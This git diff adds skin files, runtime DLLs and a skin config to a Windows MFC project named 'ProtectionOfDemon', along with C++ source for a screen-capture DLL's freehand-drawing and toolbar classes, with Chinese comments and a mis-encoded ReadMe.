Binary files /dev/null and b/ProtectionOfDemon/Release/Skins/AquaOS.ssk differ
diff --git a/ProtectionOfDemon/Release/Skins/Aura.ssk b/ProtectionOfDemon/Release/Skins/Aura.ssk
new file mode 100644
index 0000000..22864e8
Binary files /dev/null and b/ProtectionOfDemon/Release/Skins/Aura.ssk differ
diff --git a/ProtectionOfDemon/Release/Skins/Beige.ssk b/ProtectionOfDemon/Release/Skins/Beige.ssk
new file mode 100644
index 0000000..dcb0c5d
Binary files /dev/null and b/ProtectionOfDemon/Release/Skins/Beige.ssk differ
diff --git a/ProtectionOfDemon/Release/Skins/BlueStandard.ssk b/ProtectionOfDemon/Release/Skins/BlueStandard.ssk
new file mode 100644
index 0000000..7f0424a
Binary files /dev/null and b/ProtectionOfDemon/Release/Skins/BlueStandard.ssk differ
diff --git a/ProtectionOfDemon/Release/Skins/Christmas.ssk b/ProtectionOfDemon/Release/Skins/Christmas.ssk
new file mode 100644
index 0000000..847d763
Binary files /dev/null and b/ProtectionOfDemon/Release/Skins/Christmas.ssk differ
diff --git a/ProtectionOfDemon/Release/Skins/DameK UltraBlue.ssk b/ProtectionOfDemon/Release/Skins/DameK UltraBlue.ssk
new file mode 100644
index 0000000..0868efc
Binary files /dev/null and b/ProtectionOfDemon/Release/Skins/DameK UltraBlue.ssk differ
diff --git a/ProtectionOfDemon/Release/Skins/Devoir.ssk b/ProtectionOfDemon/Release/Skins/Devoir.ssk
new file mode 100644
index 0000000..b47c11a
Binary files /dev/null and b/ProtectionOfDemon/Release/Skins/Devoir.ssk differ
diff --git a/ProtectionOfDemon/Release/Skins/FauxS-TOON.ssk b/ProtectionOfDemon/Release/Skins/FauxS-TOON.ssk
new file mode 100644
index 0000000..9af9d93
Binary files /dev/null and b/ProtectionOfDemon/Release/Skins/FauxS-TOON.ssk differ
diff --git a/ProtectionOfDemon/Release/Skins/Gloss.ssk b/ProtectionOfDemon/Release/Skins/Gloss.ssk
new file mode 100644
index 0000000..e93cf32
Binary files /dev/null and b/ProtectionOfDemon/Release/Skins/Gloss.ssk differ
diff --git a/ProtectionOfDemon/Release/Skins/Longhorn Silver.ssk b/ProtectionOfDemon/Release/Skins/Longhorn Silver.ssk
new file mode 100644
index 0000000..6916d22
Binary files /dev/null and b/ProtectionOfDemon/Release/Skins/Longhorn Silver.ssk differ
diff --git a/ProtectionOfDemon/Release/Skins/Longhorn.ssk b/ProtectionOfDemon/Release/Skins/Longhorn.ssk
new file mode 100644
index 0000000..1d6c7b9
Binary files /dev/null and b/ProtectionOfDemon/Release/Skins/Longhorn.ssk differ
diff --git a/ProtectionOfDemon/Release/Skins/Longhorn5203.ssk b/ProtectionOfDemon/Release/Skins/Longhorn5203.ssk
new file mode 100644
index 0000000..503e0ef
Binary files /dev/null and b/ProtectionOfDemon/Release/Skins/Longhorn5203.ssk differ
diff --git a/ProtectionOfDemon/Release/Skins/MAC.ssk b/ProtectionOfDemon/Release/Skins/MAC.ssk
new file mode 100644
index 0000000..da7fdfd
Binary files /dev/null and b/ProtectionOfDemon/Release/Skins/MAC.ssk differ
diff --git a/ProtectionOfDemon/Release/Skins/MSN Messenger.ssk b/ProtectionOfDemon/Release/Skins/MSN Messenger.ssk
new file mode 100644
index 0000000..cdc4d5f
Binary files /dev/null and b/ProtectionOfDemon/Release/Skins/MSN Messenger.ssk differ
diff --git a/ProtectionOfDemon/Release/Skins/Mako.ssk b/ProtectionOfDemon/Release/Skins/Mako.ssk
new file mode 100644
index 0000000..870f32f
Binary files /dev/null and b/ProtectionOfDemon/Release/Skins/Mako.ssk differ
diff --git a/ProtectionOfDemon/Release/Skins/Noire.ssk b/ProtectionOfDemon/Release/Skins/Noire.ssk
new file mode 100644
index 0000000..64aa6d7
Binary files /dev/null and b/ProtectionOfDemon/Release/Skins/Noire.ssk differ
diff --git a/ProtectionOfDemon/Release/Skins/OSXP.ssk b/ProtectionOfDemon/Release/Skins/OSXP.ssk
new file mode 100644
index 0000000..12d27ae
Binary files /dev/null and b/ProtectionOfDemon/Release/Skins/OSXP.ssk differ
diff --git a/ProtectionOfDemon/Release/Skins/Phenom.ssk b/ProtectionOfDemon/Release/Skins/Phenom.ssk
new file mode 100644
index 0000000..fb4ef48
Binary files /dev/null and b/ProtectionOfDemon/Release/Skins/Phenom.ssk differ
diff --git a/ProtectionOfDemon/Release/Skins/PurpleClass.ssk b/ProtectionOfDemon/Release/Skins/PurpleClass.ssk
new file mode 100644
index 0000000..cb6675f
Binary files /dev/null and b/ProtectionOfDemon/Release/Skins/PurpleClass.ssk differ
diff --git a/ProtectionOfDemon/Release/Skins/RedCopper.ssk b/ProtectionOfDemon/Release/Skins/RedCopper.ssk
new file mode 100644
index 0000000..6fe73bc
Binary files /dev/null and b/ProtectionOfDemon/Release/Skins/RedCopper.ssk differ
diff --git a/ProtectionOfDemon/Release/Skins/RedStar.ssk b/ProtectionOfDemon/Release/Skins/RedStar.ssk
new file mode 100644
index 0000000..c1bccb3
Binary files /dev/null and b/ProtectionOfDemon/Release/Skins/RedStar.ssk differ
diff --git a/ProtectionOfDemon/Release/Skins/RisingDragon.ssk b/ProtectionOfDemon/Release/Skins/RisingDragon.ssk
new file mode 100644
index 0000000..fa47eec
Binary files /dev/null and b/ProtectionOfDemon/Release/Skins/RisingDragon.ssk differ
diff --git a/ProtectionOfDemon/Release/Skins/Royale.ssk b/ProtectionOfDemon/Release/Skins/Royale.ssk
new file mode 100644
index 0000000..9762f0c
Binary files /dev/null and b/ProtectionOfDemon/Release/Skins/Royale.ssk differ
diff --git a/ProtectionOfDemon/Release/Skins/Skin.ssk b/ProtectionOfDemon/Release/Skins/Skin.ssk
new file mode 100644
index 0000000..51d3c85
Binary files /dev/null and b/ProtectionOfDemon/Release/Skins/Skin.ssk differ
diff --git a/ProtectionOfDemon/Release/Skins/SlickOS2.ssk b/ProtectionOfDemon/Release/Skins/SlickOS2.ssk
new file mode 100644
index 0000000..4eeb55b
Binary files /dev/null and b/ProtectionOfDemon/Release/Skins/SlickOS2.ssk differ
diff --git a/ProtectionOfDemon/Release/Skins/Steel.ssk b/ProtectionOfDemon/Release/Skins/Steel.ssk
new file mode 100644
index 0000000..5ef4a60
Binary files /dev/null and b/ProtectionOfDemon/Release/Skins/Steel.ssk differ
diff --git a/ProtectionOfDemon/Release/Skins/UMskin.ssk b/ProtectionOfDemon/Release/Skins/UMskin.ssk
new file mode 100644
index 0000000..3fb5b29
Binary files /dev/null and b/ProtectionOfDemon/Release/Skins/UMskin.ssk differ
diff --git a/ProtectionOfDemon/Release/Skins/Vista.ssk b/ProtectionOfDemon/Release/Skins/Vista.ssk
new file mode 100644
index 0000000..5a62c24
Binary files /dev/null and b/ProtectionOfDemon/Release/Skins/Vista.ssk differ
diff --git a/ProtectionOfDemon/Release/Skins/XP-Home.ssk b/ProtectionOfDemon/Release/Skins/XP-Home.ssk
new file mode 100644
index 0000000..3286e23
Binary files /dev/null and b/ProtectionOfDemon/Release/Skins/XP-Home.ssk differ
diff --git a/ProtectionOfDemon/Release/Skins/XP-Luna.ssk b/ProtectionOfDemon/Release/Skins/XP-Luna.ssk
new file mode 100644
index 0000000..40e1902
Binary files /dev/null and b/ProtectionOfDemon/Release/Skins/XP-Luna.ssk differ
diff --git a/ProtectionOfDemon/Release/Skins/XP-Metallic.ssk b/ProtectionOfDemon/Release/Skins/XP-Metallic.ssk
new file mode 100644
index 0000000..6836d8c
Binary files /dev/null and b/ProtectionOfDemon/Release/Skins/XP-Metallic.ssk differ
diff --git a/ProtectionOfDemon/Release/Skins/avfone.ssk b/ProtectionOfDemon/Release/Skins/avfone.ssk
new file mode 100644
index 0000000..158e767
Binary files /dev/null and b/ProtectionOfDemon/Release/Skins/avfone.ssk differ
diff --git a/ProtectionOfDemon/Release/Skins/bOzen.ssk b/ProtectionOfDemon/Release/Skins/bOzen.ssk
new file mode 100644
index 0000000..5818231
Binary files /dev/null and b/ProtectionOfDemon/Release/Skins/bOzen.ssk differ
diff --git a/ProtectionOfDemon/Release/Skins/bbq.ssk b/ProtectionOfDemon/Release/Skins/bbq.ssk
new file mode 100644
index 0000000..f0d787b
Binary files /dev/null and b/ProtectionOfDemon/Release/Skins/bbq.ssk differ
diff --git a/ProtectionOfDemon/Release/Skins/blue.ssk b/ProtectionOfDemon/Release/Skins/blue.ssk
new file mode 100644
index 0000000..916c2b6
Binary files /dev/null and b/ProtectionOfDemon/Release/Skins/blue.ssk differ
diff --git a/ProtectionOfDemon/Release/Skins/default.ssk b/ProtectionOfDemon/Release/Skins/default.ssk
new file mode 100644
index 0000000..6a69331
Binary files /dev/null and b/ProtectionOfDemon/Release/Skins/default.ssk differ
diff --git a/ProtectionOfDemon/Release/Skins/dogmax.ssk b/ProtectionOfDemon/Release/Skins/dogmax.ssk
new file mode 100644
index 0000000..1a33e9e
Binary files /dev/null and b/ProtectionOfDemon/Release/Skins/dogmax.ssk differ
diff --git a/ProtectionOfDemon/Release/Skins/dogmax2.ssk b/ProtectionOfDemon/Release/Skins/dogmax2.ssk
new file mode 100644
index 0000000..b32a548
Binary files /dev/null and b/ProtectionOfDemon/Release/Skins/dogmax2.ssk differ
diff --git a/ProtectionOfDemon/Release/Skins/gold.ssk b/ProtectionOfDemon/Release/Skins/gold.ssk
new file mode 100644
index 0000000..7ec312d
Binary files /dev/null and b/ProtectionOfDemon/Release/Skins/gold.ssk differ
diff --git a/ProtectionOfDemon/Release/Skins/green.ssk b/ProtectionOfDemon/Release/Skins/green.ssk
new file mode 100644
index 0000000..889d768
Binary files /dev/null and b/ProtectionOfDemon/Release/Skins/green.ssk differ
diff --git a/ProtectionOfDemon/Release/Skins/machine.ssk b/ProtectionOfDemon/Release/Skins/machine.ssk
new file mode 100644
index 0000000..296a58f
Binary files /dev/null and b/ProtectionOfDemon/Release/Skins/machine.ssk differ
diff --git a/ProtectionOfDemon/Release/Skins/santa.ssk b/ProtectionOfDemon/Release/Skins/santa.ssk
new file mode 100644
index 0000000..5037f4c
Binary files /dev/null and b/ProtectionOfDemon/Release/Skins/santa.ssk differ
diff --git a/ProtectionOfDemon/Release/Skins/spring.ssk b/ProtectionOfDemon/Release/Skins/spring.ssk
new file mode 100644
index 0000000..9057411
Binary files /dev/null and b/ProtectionOfDemon/Release/Skins/spring.ssk differ
diff --git a/ProtectionOfDemon/Release/Skins/thinblue.ssk b/ProtectionOfDemon/Release/Skins/thinblue.ssk
new file mode 100644
index 0000000..08817b6
Binary files /dev/null and b/ProtectionOfDemon/Release/Skins/thinblue.ssk differ
diff --git a/ProtectionOfDemon/Release/Skins/vladstudio.ssk b/ProtectionOfDemon/Release/Skins/vladstudio.ssk
new file mode 100644
index 0000000..edec64d
Binary files /dev/null and b/ProtectionOfDemon/Release/Skins/vladstudio.ssk differ
diff --git a/ProtectionOfDemon/Release/Skins/xp_corona.ssk b/ProtectionOfDemon/Release/Skins/xp_corona.ssk
new file mode 100644
index 0000000..fb14c4c
Binary files /dev/null and b/ProtectionOfDemon/Release/Skins/xp_corona.ssk differ
diff --git a/ProtectionOfDemon/Release/mfc120.dll b/ProtectionOfDemon/Release/mfc120.dll
new file mode 100644
index 0000000..15af73c
Binary files /dev/null and b/ProtectionOfDemon/Release/mfc120.dll differ
diff --git a/ProtectionOfDemon/Release/msvcp120.dll b/ProtectionOfDemon/Release/msvcp120.dll
new file mode 100644
index 0000000..a237d2d
Binary files /dev/null and b/ProtectionOfDemon/Release/msvcp120.dll differ
diff --git a/ProtectionOfDemon/Release/msvcr120.dll b/ProtectionOfDemon/Release/msvcr120.dll
new file mode 100644
index 0000000..8c36149
Binary files /dev/null and b/ProtectionOfDemon/Release/msvcr120.dll differ
diff --git a/ProtectionOfDemon/Release/protectionofdemonconfig.ini b/ProtectionOfDemon/Release/protectionofdemonconfig.ini
new file mode 100644
index 0000000..534341e
--- /dev/null
+++ b/ProtectionOfDemon/Release/protectionofdemonconfig.ini
@@ -0,0 +1,3 @@
+[SKIN]
+load=1
+name=XP-Home.ssk
diff --git a/ProtectionOfDemon/Release/skinppwtl.dll b/ProtectionOfDemon/Release/skinppwtl.dll
new file mode 100644
index 0000000..faed7d4
Binary files /dev/null and b/ProtectionOfDemon/Release/skinppwtl.dll differ
diff --git a/ProtectionOfDemon/Release/xvid/xvid.exe b/ProtectionOfDemon/Release/xvid/xvid.exe
new file mode 100644
index 0000000..c321ade
Binary files /dev/null and b/ProtectionOfDemon/Release/xvid/xvid.exe differ
diff --git a/ProtectionOfDemon/ScreenCapture/CurveLine.cpp b/ProtectionOfDemon/ScreenCapture/CurveLine.cpp
new file mode 100644
index 0000000..4791378
--- /dev/null
+++ b/ProtectionOfDemon/ScreenCapture/CurveLine.cpp
@@ -0,0 +1,93 @@
+#include "stdafx.h"
+#include "CurveLine.h"
+
+
+CCurveLine::CCurveLine(void)
+{
+ // 预先申请1000个POINT
+ m_bPainting = FALSE;
+ m_vec.reserve(1000);
+}
+
+
+CCurveLine::~CCurveLine(void)
+{
+ // 释放所有向量的内存
+ vector ().swap(m_vec);
+}
+
+
+void CCurveLine::Init(int iPenSort,int iPenStyle, int iPenWidth, COLORREF crPenColor)
+{
+ m_iPenSort = iPenSort;
+ m_bPainting = FALSE;
+ m_vec.reserve(1000);
+ m_iPenStyle = iPenStyle;
+ m_iPenWidth = iPenWidth;
+ m_crPenColor = crPenColor;
+ // 清空向量
+ m_vec.erase(m_vec.begin(), m_vec.end());
+}
+
+
+void CCurveLine::SetPen(int iPenSort,int iPenStyle, int iPenWidth, COLORREF crPenColor)
+{
+ m_iPenSort = iPenSort;
+ m_iPenStyle = iPenStyle;
+ m_iPenWidth = iPenWidth;
+ m_crPenColor = crPenColor;
+}
+
+
+void CCurveLine::AddPaintPoint(POINT p)
+{
+ m_vec.push_back(p);
+}
+
+
+void CCurveLine::Draw(HDC mdc)
+{
+ if(m_vec.begin() == m_vec.end())
+ {
+ return;
+ }
+ int iOldRop2 = 0;
+ if(1 == m_iPenSort) // 荧光模式
+ {
+ iOldRop2 = ::SetROP2(mdc, R2_MASKPEN); // 设置当前前景色的混合模式
+ }
+ HPEN hPen = ::CreatePen(m_iPenStyle, m_iPenWidth, m_crPenColor);
+ HPEN hOldPend = (HPEN)::SelectObject(mdc, hPen);
+ vector::iterator it;
+ for(it = m_vec.begin(); it != (m_vec.end() - 1); it++)
+ {
+ ::MoveToEx(mdc, (*it).x, (*it).y, NULL);
+ ::LineTo(mdc, (*(it+1)).x, (*(it+1)).y);
+ }
+ if(1 == m_iPenSort) // 荧光模式
+ {
+ ::SetROP2(mdc, iOldRop2);
+ }
+ ::SelectObject(mdc, hOldPend);
+ ::DeleteObject(hPen);
+}
+
+
+void CCurveLine::BeginPaint()
+{
+ m_bPainting = TRUE;
+ // 清空向量
+ m_vec.erase(m_vec.begin(), m_vec.end());
+}
+
+
+void CCurveLine::EndPaint()
+{
+ m_bPainting = FALSE;
+}
+
+
+BOOL CCurveLine::IsPainting()
+{
+ return m_bPainting;
+}
\ No newline at end of file
diff --git a/ProtectionOfDemon/ScreenCapture/CurveLine.h b/ProtectionOfDemon/ScreenCapture/CurveLine.h
new file mode 100644
index 0000000..9837a2e
--- /dev/null
+++ b/ProtectionOfDemon/ScreenCapture/CurveLine.h
@@ -0,0 +1,28 @@
+#pragma once
+
+
+#include
+using namespace std;
+
+class CCurveLine
+{
+private:
+ int m_iPenSort; // 0-实心笔/1-荧光笔
+ int m_iPenStyle;
+ int m_iPenWidth;
+ COLORREF m_crPenColor;
+ vector m_vec; // 存储绘制曲线时的一个个坐标点
+ BOOL m_bPainting; // 是否正在绘制
+public:
+ void Init(int iPenSort, int iPenStyle, int iPenWidth, COLORREF crPenColor);
+ void SetPen(int iPenSort,int iPenStyle, int iPenWidth, COLORREF crPenColor);
+ void BeginPaint();
+ void EndPaint();
+ void AddPaintPoint(POINT p);
+ void Draw(HDC mdc);
+ BOOL IsPainting();
+public:
+ CCurveLine(void);
+ ~CCurveLine(void);
+};
+
diff --git a/ProtectionOfDemon/ScreenCapture/MyToolBar.cpp b/ProtectionOfDemon/ScreenCapture/MyToolBar.cpp
new file mode 100644
index 0000000..5d07af2
--- /dev/null
+++ b/ProtectionOfDemon/ScreenCapture/MyToolBar.cpp
@@ -0,0 +1,307 @@
+#include "stdafx.h"
+#include "MyToolBar.h"
+
+
+CMyToolBar::CMyToolBar(void)
+{
+}
+
+
+CMyToolBar::~CMyToolBar(void)
+{
+}
+
+
+void CMyToolBar::Init(UINT uiMainID, UINT uiSecondID, int iMainIconNum, int iSecondIconNum, HMODULE hModule)
+{
+ m_hModule = hModule;
+
+ m_iMainOperateFlag = 0;
+ m_iSecondOperateFlagWidth = 0;
+ m_iSecondOperateFlagColor = 0;
+
+ m_iMainIconNum = iMainIconNum;
+ m_iSecondIconNum = iSecondIconNum;
+
+ m_bmpMain = (HBITMAP)::LoadImage(m_hModule, (LPCSTR)uiMainID, IMAGE_BITMAP, 0, 0, NULL);
+ BITMAP bmp;
+ ::GetObject(m_bmpMain, sizeof(BITMAP), &bmp);
+ m_iMainWidth = bmp.bmWidth;
+ m_iMainHeight = bmp.bmHeight;
+ m_iMainPerWidth = m_iMainWidth / m_iMainIconNum;
+ m_iMainPerHeight = m_iMainHeight;
+
+ m_bmpSecond = (HBITMAP)::LoadImage(m_hModule, (LPCSTR)uiSecondID, IMAGE_BITMAP, 0, 0, NULL);
+ ::GetObject(m_bmpSecond, sizeof(BITMAP), &bmp);
+ m_iSecondWidth = bmp.bmWidth;
+ m_iSecondHeight = bmp.bmHeight;
+ m_iSecondPerWidth = m_iSecondWidth / m_iSecondIconNum;
+ m_iSecondPerHeight = m_iSecondHeight;
+
+ RECT rc = {0, 0, 0, 0};
+ m_rcMainToolBar = rc;
+ m_rcSecondToolBar = rc;
+
+ m_bIsMainDisplaying = FALSE;
+ m_bIsSecondDisplaying = FALSE;
+}
+
+
+void CMyToolBar::Draw(HDC mdc, RECT rcScreen, RECT rcChoose, POINT p)
+{
+ /*
+ 主次工具栏一共有两种排放方式:
+ 1. 在截屏区域的右下角,主工具栏在上,此工具栏在下
+ 2. 在截屏区域的左上角,主工具栏在下,此工具栏在上
+ */
+
+ // 判断使用哪种排放方式
+ int x = 0, y = 0;
+ if(rcChoose.bottom + m_iMainHeight + m_iSecondHeight <= rcScreen.bottom) // 方式1
+ {
+ x = rcChoose.right - m_iMainWidth;
+ y = rcChoose.bottom;
+
+ m_rcMainToolBar.left = x;
+ m_rcMainToolBar.right = x + m_iMainWidth;
+ m_rcMainToolBar.top = y;
+ m_rcMainToolBar.bottom = y + m_iMainHeight;
+
+ m_rcSecondToolBar.left = x;
+ m_rcSecondToolBar.right = x + m_iSecondWidth;
+ m_rcSecondToolBar.top = y + m_iMainHeight;
+ m_rcSecondToolBar.bottom = y + m_iMainHeight + m_iSecondHeight;
+ }
+ else // 方式2
+ {
+ x = rcChoose.left;
+ y = rcChoose.top - m_iMainHeight - m_iSecondHeight;
+
+ m_rcSecondToolBar.left = x;
+ m_rcSecondToolBar.right = x + m_iSecondWidth;
+ m_rcSecondToolBar.top = y;
+ m_rcSecondToolBar.bottom = y + m_iSecondHeight;
+
+ m_rcMainToolBar.left = x;
+ m_rcMainToolBar.right = x + m_iMainWidth;
+ m_rcMainToolBar.top = y + m_iSecondHeight;
+ m_rcMainToolBar.bottom = y + m_iSecondHeight + m_iMainHeight;
+ }
+
+ int iMainOperateFlag = GetMainOperateFlag(p, 1);
+ int iSecondOperateFlag = GetSecondOperateFlag(p, 1);
+ HDC bufdc = ::CreateCompatibleDC(mdc);
+ int iSize = 100;
+ HBITMAP bmp = ::CreateCompatibleBitmap(mdc, iSize, iSize);
+ HBRUSH hBrush = ::CreateSolidBrush(RGB(0, 255, 0));
+ HPEN hPen = ::CreatePen(PS_SOLID, 1, RGB(0, 255, 0));
+ HBITMAP oldbmp = (HBITMAP)::SelectObject(bufdc, bmp);
+ HBRUSH oldBrush = (HBRUSH)::SelectObject(bufdc, hBrush);
+ HPEN oldPen = (HPEN)::SelectObject(bufdc, hPen);
+ ::Rectangle(bufdc, 0, 0, iSize, iSize);
+ ::SelectObject(bufdc, oldbmp);
+ ::SelectObject(bufdc, oldBrush);
+ ::SelectObject(bufdc, oldPen);
+ BLENDFUNCTION bf = {0};
+ bf.AlphaFormat = 0;
+ bf.BlendFlags = 0;
+ bf.BlendOp = AC_SRC_OVER;
+ bf.SourceConstantAlpha = 90;
+
+ if(m_bIsMainDisplaying)
+ {
+ // 显示主工具栏
+
+ oldbmp = (HBITMAP)::SelectObject(bufdc, m_bmpMain);
+ ::BitBlt(mdc, m_rcMainToolBar.left, m_rcMainToolBar.top, m_iMainWidth, m_iMainHeight,
+ bufdc, 0, 0, SRCCOPY);
+ ::SelectObject(bufdc, oldbmp);
+ oldbmp = (HBITMAP)::SelectObject(bufdc, bmp);
+ // 鼠标选中时
+ iMainOperateFlag = iMainOperateFlag - 1;
+ if(0 <= iMainOperateFlag)
+ {
+ ::AlphaBlend(mdc, m_rcMainToolBar.left + iMainOperateFlag*m_iMainPerWidth, m_rcMainToolBar.top, m_iMainPerWidth, m_iMainPerWidth,
+ bufdc, 0, 0, m_iMainPerWidth, m_iMainPerWidth, bf);
+ }
+ // 绘制原来已选中的选项
+ iMainOperateFlag = m_iMainOperateFlag - 1;
+ if(0 <= iMainOperateFlag)
+ {
+ ::AlphaBlend(mdc, m_rcMainToolBar.left + iMainOperateFlag*m_iMainPerWidth, m_rcMainToolBar.top, m_iMainPerWidth, m_iMainPerWidth,
+ bufdc, 0, 0, m_iMainPerWidth, m_iMainPerWidth, bf);
+ }
+
+ ::SelectObject(bufdc, oldbmp);
+ }
+ if(m_bIsSecondDisplaying)
+ {
+ // 显示次工具栏
+ oldbmp = (HBITMAP)::SelectObject(bufdc, m_bmpSecond);
+ ::BitBlt(mdc, m_rcSecondToolBar.left, m_rcSecondToolBar.top, m_iSecondWidth, m_iSecondHeight,
+ bufdc, 0, 0, SRCCOPY);
+ ::SelectObject(bufdc, oldbmp);
+
+ oldbmp = (HBITMAP)::SelectObject(bufdc, bmp);
+ iSecondOperateFlag = iSecondOperateFlag - 1;
+ if(0 <= iSecondOperateFlag)
+ {
+ ::AlphaBlend(mdc, m_rcSecondToolBar.left + iSecondOperateFlag*m_iSecondPerWidth, m_rcSecondToolBar.top, m_iSecondPerWidth, m_iSecondPerWidth,
+ bufdc, 0, 0, m_iSecondPerWidth, m_iSecondPerWidth, bf);
+ }
+ // 绘制原来已选中的选项
+ // 画笔宽度
+ iSecondOperateFlag = m_iSecondOperateFlagWidth - 1;
+ if(0 <= iSecondOperateFlag)
+ {
+ ::AlphaBlend(mdc, m_rcSecondToolBar.left + iSecondOperateFlag*m_iSecondPerWidth, m_rcSecondToolBar.top, m_iSecondPerWidth, m_iSecondPerWidth,
+ bufdc, 0, 0, m_iSecondPerWidth, m_iSecondPerWidth, bf);
+ }
+ // 画笔颜色
+ iSecondOperateFlag = m_iSecondOperateFlagColor - 1;
+ if(0 <= iSecondOperateFlag)
+ {
+ ::AlphaBlend(mdc, m_rcSecondToolBar.left + iSecondOperateFlag*m_iSecondPerWidth, m_rcSecondToolBar.top, m_iSecondPerWidth, m_iSecondPerWidth,
+ bufdc, 0, 0, m_iSecondPerWidth, m_iSecondPerWidth, bf);
+ }
+ ::SelectObject(bufdc, oldbmp);
+ }
+
+ ::DeleteObject(hPen);
+ ::DeleteObject(hBrush);
+ ::DeleteObject(bmp);
+ ::DeleteDC(bufdc);
+
+// ::MessageBox(NULL, "TOOLBAR", NULL, MB_OK);
+}
+
+
+int CMyToolBar::GetMainOperateFlag(POINT p, int iFlag)
+{
+ if(0 == iFlag && FALSE == m_bIsMainDisplaying)
+ {
+ return 0;
+ }
+
+ int iOperateFlag = 0;
+
+ // 判断点是否是在工具栏内
+ if(::PtInRect(&m_rcMainToolBar, p))
+ {
+ int x = m_rcMainToolBar.left;
+ int y = m_rcMainToolBar.top;
+ // 获取每个图标的区域,并判断是否在区域内
+ RECT *pRect = new RECT[m_iMainIconNum];
+ for(int i = 0; i < m_iMainIconNum; i++)
+ {
+ pRect[i].left = x + i*m_iMainPerWidth;
+ pRect[i].top = y;
+ pRect[i].right = x + i*m_iMainPerWidth + m_iMainPerWidth;
+ pRect[i].bottom = y + m_iMainPerHeight;
+ if(::PtInRect(&pRect[i], p))
+ {
+ iOperateFlag = i + 1;
+ break;
+ }
+ }
+ delete []pRect;
+ pRect = NULL;
+
+ if(0 == iFlag)
+ {
+ m_iMainOperateFlag = iOperateFlag;
+ }
+ }
+
+ return iOperateFlag;
+}
+
+
+int CMyToolBar::GetSecondOperateFlag(POINT p, int iFlag)
+{
+ if(0 == iFlag && FALSE == m_bIsSecondDisplaying)
+ {
+ return 0;
+ }
+
+ int iOperateFlag = 0;
+
+ // 判断点是否是在工具栏内
+ if(::PtInRect(&m_rcSecondToolBar, p))
+ {
+ int x = m_rcSecondToolBar.left;
+ int y = m_rcSecondToolBar.top;
+ // 获取每个图标的区域,并判断是否在区域内
+ RECT *pRect = new RECT[m_iSecondIconNum];
+ for(int i = 0; i < m_iSecondIconNum; i++)
+ {
+ pRect[i].left = x + i*m_iSecondPerWidth;
+ pRect[i].top = y;
+ pRect[i].right = x + i*m_iSecondPerWidth + m_iSecondPerWidth;
+ pRect[i].bottom = y + m_iSecondPerHeight;
+ if(::PtInRect(&pRect[i], p))
+ {
+ iOperateFlag = i + 1;
+ break;
+ }
+ }
+ delete []pRect;
+ pRect = NULL;
+ }
+
+ if(0 == iFlag)
+ {
+ if(0 < iOperateFlag && iOperateFlag < 4)
+ {
+ m_iSecondOperateFlagWidth = iOperateFlag;
+ }
+ if(3 < iOperateFlag)
+ {
+ m_iSecondOperateFlagColor = iOperateFlag;
+ }
+ }
+
+ return iOperateFlag;
+}
+
+
+void CMyToolBar::SetMainDisplay(BOOL bIsMainDisplaying)
+{
+ m_bIsMainDisplaying = bIsMainDisplaying;
+}
+
+
+void CMyToolBar::SetSecondDisplay(BOOL bIsSecondDisplaying)
+{
+ m_bIsSecondDisplaying = bIsSecondDisplaying;
+}
+
+
+BOOL CMyToolBar::GetMainDisplay()
+{
+ return m_bIsMainDisplaying;
+}
+
+
+BOOL CMyToolBar::GetSecondDisplay()
+{
+ return m_bIsSecondDisplaying;
+}
+
+
+void CMyToolBar::SetSecondOperateFlagWidth(int iSecondOperateFlagWidth)
+{
+ m_iSecondOperateFlagWidth = iSecondOperateFlagWidth;
+}
+
+
+void CMyToolBar::SetSecondOperateFlagColor(int iSecondOperateFlagColor)
+{
+ m_iSecondOperateFlagColor = iSecondOperateFlagColor;
+}
+
+
+void CMyToolBar::SetMainOperateFlag(int iMainOperateFlag)
+{
+ m_iMainOperateFlag = iMainOperateFlag;
+}
\ No newline at end of file
diff --git a/ProtectionOfDemon/ScreenCapture/MyToolBar.h b/ProtectionOfDemon/ScreenCapture/MyToolBar.h
new file mode 100644
index 0000000..223b1e0
--- /dev/null
+++ b/ProtectionOfDemon/ScreenCapture/MyToolBar.h
@@ -0,0 +1,41 @@
+#pragma once
+class CMyToolBar
+{
+private:
+ HMODULE m_hModule;
+ HBITMAP m_bmpMain;
+ HBITMAP m_bmpSecond;
+ int m_iMainIconNum;
+ int m_iSecondIconNum;
+ int m_iMainWidth; // MainToolBar的宽
+ int m_iMainHeight; // MainToolBar的高
+ int m_iSecondWidth; // MainToolBar的宽
+ int m_iSecondHeight; // MainToolBar的高
+ int m_iMainPerWidth; // 每个图标的宽
+ int m_iMainPerHeight; // 每个图标的高
+ int m_iSecondPerWidth; // 每个图标的宽
+ int m_iSecondPerHeight; // 每个图标的高
+ int m_iMainOperateFlag; // 操作:0-无/1-实心曲线绘制/2-荧光曲线绘制/3-撤销一步/4-保存/5-取消本次截屏/6-完成截屏/7-关于
+ int m_iSecondOperateFlagWidth; // 操作:0-无/1-线宽1/2-线宽2/3-线宽3/4-颜色1/5-颜色2/6-颜色3/7-颜色4
+ int m_iSecondOperateFlagColor; // 操作:0-无/1-线宽1/2-线宽2/3-线宽3/4-颜色1/5-颜色2/6-颜色3/7-颜色4
+ BOOL m_bIsMainDisplaying; // 是否在显示:RUE-是,FALSE-否
+ BOOL m_bIsSecondDisplaying; // 是否在显示:RUE-是,FALSE-否
+ RECT m_rcMainToolBar; // 主工具栏的位置
+ RECT m_rcSecondToolBar; // 次工具栏的位置
+public:
+ void Init(UINT uiMainID, UINT uiSecondID, int iMainIconNum, int iSecondIconNum, HMODULE hModule);
+ void Draw(HDC mdc, RECT rcScreen, RECT rcChoose, POINT p);
+ int GetMainOperateFlag(POINT p, int iFlag = 0);
+ int GetSecondOperateFlag(POINT p, int iFlag = 0);
+ void SetMainDisplay(BOOL bIsMainDisplaying);
+ void SetSecondDisplay(BOOL bIsSecondDisplaying);
+ BOOL GetMainDisplay();
+ BOOL GetSecondDisplay();
+ void SetSecondOperateFlagWidth(int iSecondOperateFlagWidth);
+ void SetSecondOperateFlagColor(int iSecondOperateFlagColor);
+ void SetMainOperateFlag(int iMainOperateFlag);
+public:
+ CMyToolBar(void);
+ ~CMyToolBar(void);
+};
+
diff --git a/ProtectionOfDemon/ScreenCapture/ReadMe.txt b/ProtectionOfDemon/ScreenCapture/ReadMe.txt
new file mode 100644
index 0000000..fbecbf6
--- /dev/null
+++ b/ProtectionOfDemon/ScreenCapture/ReadMe.txt
@@ -0,0 +1,32 @@
+锘========================================================================
+ 鍔ㄦ侀摼鎺ュ簱锛歋creenCapture 椤圭洰姒傝堪
+========================================================================
+
+搴旂敤绋嬪簭鍚戝宸蹭负鎮ㄥ垱寤轰簡姝 ScreenCapture DLL銆
+
